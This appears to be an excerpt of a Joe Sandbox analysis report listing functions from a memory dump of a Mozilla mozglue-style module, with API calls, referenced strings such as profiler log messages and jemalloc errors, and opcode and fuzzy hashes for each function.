Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 13e3614c0d45c7f81479f1c937ae74c4874539a5d91a833f68e5540bddda9b9c
Instruction ID: d558848ec4f857b42736eddfb2e34ab77ee4c44b11627410877dabcff13999e5
Opcode Fuzzy Hash: 13e3614c0d45c7f81479f1c937ae74c4874539a5d91a833f68e5540bddda9b9c
Instruction Fuzzy Hash: 434188B56007049FCB10CF29C589A66BBF9FF89314F50442EE99A87B41CB35F854CB91

Function 6C7184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C71850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C71851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C71855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C71856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7185AC

Part of subcall function 6C717670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C71767F
Part of subcall function 6C717670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C717693
Part of subcall function 6C717670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7185B2

Part of subcall function 6C6F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6F5EDB
Part of subcall function 6C6F5E90: memset.VCRUNTIME140(ewsl,000000E5,?), ref: 6C6F5F27
Part of subcall function 6C6F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6F5FB2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: d234fb5924dd097c740330ffb8b384822012a3a0f2dda40647277bfb18ae0bee
Instruction ID: a91a87331424a4899109b673e687abe2e5c84e70449386408e3b654fbf608133
Opcode Fuzzy Hash: d234fb5924dd097c740330ffb8b384822012a3a0f2dda40647277bfb18ae0bee
Instruction Fuzzy Hash: 382189742046018FDB14DF29C988A6AB7B5EF8430DF29483DE59B87B41EF31E948CB55

Function 6C6E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6E1699
VerSetConditionMask.NTDLL ref: 6C6E16CB
VerSetConditionMask.NTDLL ref: 6C6E16D7
VerSetConditionMask.NTDLL ref: 6C6E16DE
VerSetConditionMask.NTDLL ref: 6C6E16E5
VerSetConditionMask.NTDLL ref: 6C6E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6E16F9

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 126ce094f6a1ad1693054b9d3633170f1bf38e946b7d838d29b5c4d4f4a1275e
Instruction ID: d27f0751acb8ca2f18f0321bbe22ddbd6d0a1f02751b7252faf12e506f492999
Opcode Fuzzy Hash: 126ce094f6a1ad1693054b9d3633170f1bf38e946b7d838d29b5c4d4f4a1275e
Instruction Fuzzy Hash: E521D5B07442086FEB106B64CC49FBBB37CEF86714F808529F6459B1C1CA789D548BA1

Function 6C71F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C71F598), ref: 6C71F621

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

GetCurrentThreadId.KERNEL32 ref: 6C71F637
AcquireSRWLockExclusive.KERNEL32(6C75F4B8,?,?,00000000,?,6C71F598), ref: 6C71F645
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8,?,?,00000000,?,6C71F598), ref: 6C71F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C71F62A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: a8a907f40194bd6d9437765c29aa2618147634fd21ac8d2d660377ad946f185e
Instruction ID: c8f183edcc7a47b68df59a3111b7d53297c2ca94587914078cf713c9f18b0913
Opcode Fuzzy Hash: a8a907f40194bd6d9437765c29aa2618147634fd21ac8d2d660377ad946f185e
Instruction Fuzzy Hash: 74119475305204ABCB44AF69D64C9A6777DFB8636CB940026EA1583F41CF71A821CBA0

Function 6C7376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C7376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C737705

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C737717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C73778F,00000000,00000000,00000000,00000000), ref: 6C737731
free.MOZGLUE(00000000), ref: 6C737760

Strings

}>ql, xrefs: 6C7376C4

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>ql
API String ID: 2538299546-3838052867
Opcode ID: 0cb7cb954f1592e4723fc96eab3599f5f22a5551b5c6ef452a70d3d0ba2e6ee1
Instruction ID: 3b762b17849eb2e0503c22f2797ba91535988074e7eea9974862cebebdab69e2
Opcode Fuzzy Hash: 0cb7cb954f1592e4723fc96eab3599f5f22a5551b5c6ef452a70d3d0ba2e6ee1
Instruction Fuzzy Hash: 5911B2B1D05325ABE710AF7A8D48BABBEE8EF46354F044429F848A7301E771984487E2

Function 6C6E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C70D9F0,00000000), ref: 6C6E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C6E0F3C
__Init_thread_footer.LIBCMT ref: 6C6E0F50
FreeLibrary.KERNEL32(?,6C70D9F0,00000000), ref: 6C6E0F86

Strings

CoInitializeEx, xrefs: 6C6E0F36
combase.dll, xrefs: 6C6E0F18

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b25b48fc2afd8774f6dae22e2021a0778ff628c35baf7823d23bf6bb3a3b08bc
Instruction ID: aee28b41ecf898ce6866932942a391857f8ba49ea069050718b044dfbe38fbc8
Opcode Fuzzy Hash: b25b48fc2afd8774f6dae22e2021a0778ff628c35baf7823d23bf6bb3a3b08bc
Instruction Fuzzy Hash: 2711707570A2409BDF00CF55CE08A5637B8FB4B325F84423AED05D2684DF31A415CA59

Function 6C71F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71F561

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

GetCurrentThreadId.KERNEL32 ref: 6C71F577
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71F585
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C71F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C71F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C71F56A
[I %d/%d] profiler_resume, xrefs: 6C71F239

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 92291bede68c1c05f53d0a6b6868c316984c6e3176963e2bfa9f7707cc01d28b
Instruction ID: d606bfe8a0fcfde952d73fb0d49e0442bcd82adec1760edf19363bb5c5db43fb
Opcode Fuzzy Hash: 92291bede68c1c05f53d0a6b6868c316984c6e3176963e2bfa9f7707cc01d28b
Instruction Fuzzy Hash: BCF0B4757002009BDB006F65984C97A77BDEB8629DF880035EA15C3B01CF31A8018760

Function 6C6E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C6E0DF8), ref: 6C6E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C6E0EA1
__Init_thread_footer.LIBCMT ref: 6C6E0EB5
FreeLibrary.KERNEL32 ref: 6C6E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C6E0E9B
kernel32.dll, xrefs: 6C6E0E7D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 786e2430f1ebc3f836e2627aa54e2a514c0abb4a45a194a419d0546d1d514e61
Instruction ID: 9a88f6f03a6a035c7c74e30ed14feffa3a651a4195ae310892c7670e3a723bf2
Opcode Fuzzy Hash: 786e2430f1ebc3f836e2627aa54e2a514c0abb4a45a194a419d0546d1d514e61
Instruction Fuzzy Hash: 36014670B05381CFDF108FF8DA18A6237B5F70A318FD4093ADA0192B80DF34A455DA15

Function 6C71F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C71F598), ref: 6C71F621

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

GetCurrentThreadId.KERNEL32 ref: 6C71F637
AcquireSRWLockExclusive.KERNEL32(6C75F4B8,?,?,00000000,?,6C71F598), ref: 6C71F645
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8,?,?,00000000,?,6C71F598), ref: 6C71F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C71F62A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 6ce59349a462ffcad06873a634bdfe4fa12c9c50f8484f1046cbb4a2c5b9c150
Instruction ID: 4913226cfabc9a04ce129b98ca8293d9da276ef662905cf584877c4551d0ad10
Opcode Fuzzy Hash: 6ce59349a462ffcad06873a634bdfe4fa12c9c50f8484f1046cbb4a2c5b9c150
Instruction Fuzzy Hash: C1F0BE75304204ABDB006B65984CABA7BBDEB862ADF880036EA1583B41CF366C028760

Function 6C7105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C70CFAE,?,?,?,6C6D31A7), ref: 6C7105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C70CFAE,?,?,?,6C6D31A7), ref: 6C710616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6D31A7), ref: 6C71061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6D31A7), ref: 6C710627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C71061B, 6C710625
<jemalloc>, xrefs: 6C7105FA, 6C71060F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 901ecf626b34889bfd0303fbcc3ac3fd3460694e035278359377ad3c440506a4
Instruction ID: d2e19b51a16d5bf53d3ce7ffadafb05ee1242a6ba4ebe68d18057d4abc62ca40
Opcode Fuzzy Hash: 901ecf626b34889bfd0303fbcc3ac3fd3460694e035278359377ad3c440506a4
Instruction Fuzzy Hash: 44E08CE2A0101037F5142256AC8ADBB761DDBC6138F080039FD0D82301E94ABD1E51F7

Function 6C6E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5daa9886696022d6eacc601a4d64767f1aa6aa3a3e9dd5f19a67070945f61fd7
Instruction ID: 3364b71217a723858fd0f96aacdb2cf6fc8c9920d463a95785682abd14572bc1
Opcode Fuzzy Hash: 5daa9886696022d6eacc601a4d64767f1aa6aa3a3e9dd5f19a67070945f61fd7
Instruction Fuzzy Hash: 95A147B0A056458FDB14CF29C984B9AFBF1BF4D304F54866ED44A97B40EB30AA45CFA4

Function 6C7314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7314E2
GetCurrentThreadId.KERNEL32 ref: 6C731546
InitializeConditionVariable.KERNEL32(?), ref: 6C7315BA
free.MOZGLUE(?), ref: 6C7316B4

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: ef75a2b8db8bcae1971e2fe19b0708ff6768db563253000af1fd7c1e867481b9
Instruction ID: 8d106a3ce02d97fb0958d528093e22647e2a2d008874558083f63fb278029f57
Opcode Fuzzy Hash: ef75a2b8db8bcae1971e2fe19b0708ff6768db563253000af1fd7c1e867481b9
Instruction Fuzzy Hash: 70610171A007149BDB118F24C984BEEBBB5FF89308F44952CED8A57702DB35E949CB91

Function 6C72DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C72DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C72D38A,?), ref: 6C72DC6F
free.MOZGLUE(?,?,?,?,?,6C72D38A,?), ref: 6C72DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C72D38A,?), ref: 6C72DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C72D38A,?), ref: 6C72DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C72D38A,?), ref: 6C72DD4A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24b6d9b7cdeccb85204dc5c7ca9e25d15760e089a98265ab56585babff40adb5
Instruction ID: e591bbbcf2d8b7b932c9f78089d16e600cc8c27d040d7f475871b0db05d72011
Opcode Fuzzy Hash: 24b6d9b7cdeccb85204dc5c7ca9e25d15760e089a98265ab56585babff40adb5
Instruction Fuzzy Hash: 8D41ACB5A00605CFCB00CFA9C984AAABBF6FF88314B554469D906ABB10DB35FC40CF94

Function 6C70F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C70F480

Part of subcall function 6C6DF100: LoadLibraryW.KERNEL32(shell32,?,6C74D020), ref: 6C6DF122
Part of subcall function 6C6DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6DF132

CloseHandle.KERNEL32(00000000), ref: 6C70F555

Part of subcall function 6C6E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C6E1248,6C6E1248,?), ref: 6C6E14C9
Part of subcall function 6C6E14B0: memcpy.VCRUNTIME140(?,6C6E1248,00000000,?,6C6E1248,?), ref: 6C6E14EF

Part of subcall function 6C6DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C6DEEE3

CreateFileW.KERNEL32 ref: 6C70F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C70F523

Strings

\oleacc.dll, xrefs: 6C70F4CB

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ff37d21b700420d776b509b95bfe34b9a061bf2fcdf7139489947cf44128b5e4
Instruction ID: 8a2f69cd5df722bffac6e09ecf230b8647b03781d5b4cc76e015b73abc6ee023
Opcode Fuzzy Hash: ff37d21b700420d776b509b95bfe34b9a061bf2fcdf7139489947cf44128b5e4
Instruction Fuzzy Hash: 9541C2707087109FE721DF28C984B9BB7F4AF85318F504A2CF59183650EB70EA49CB96

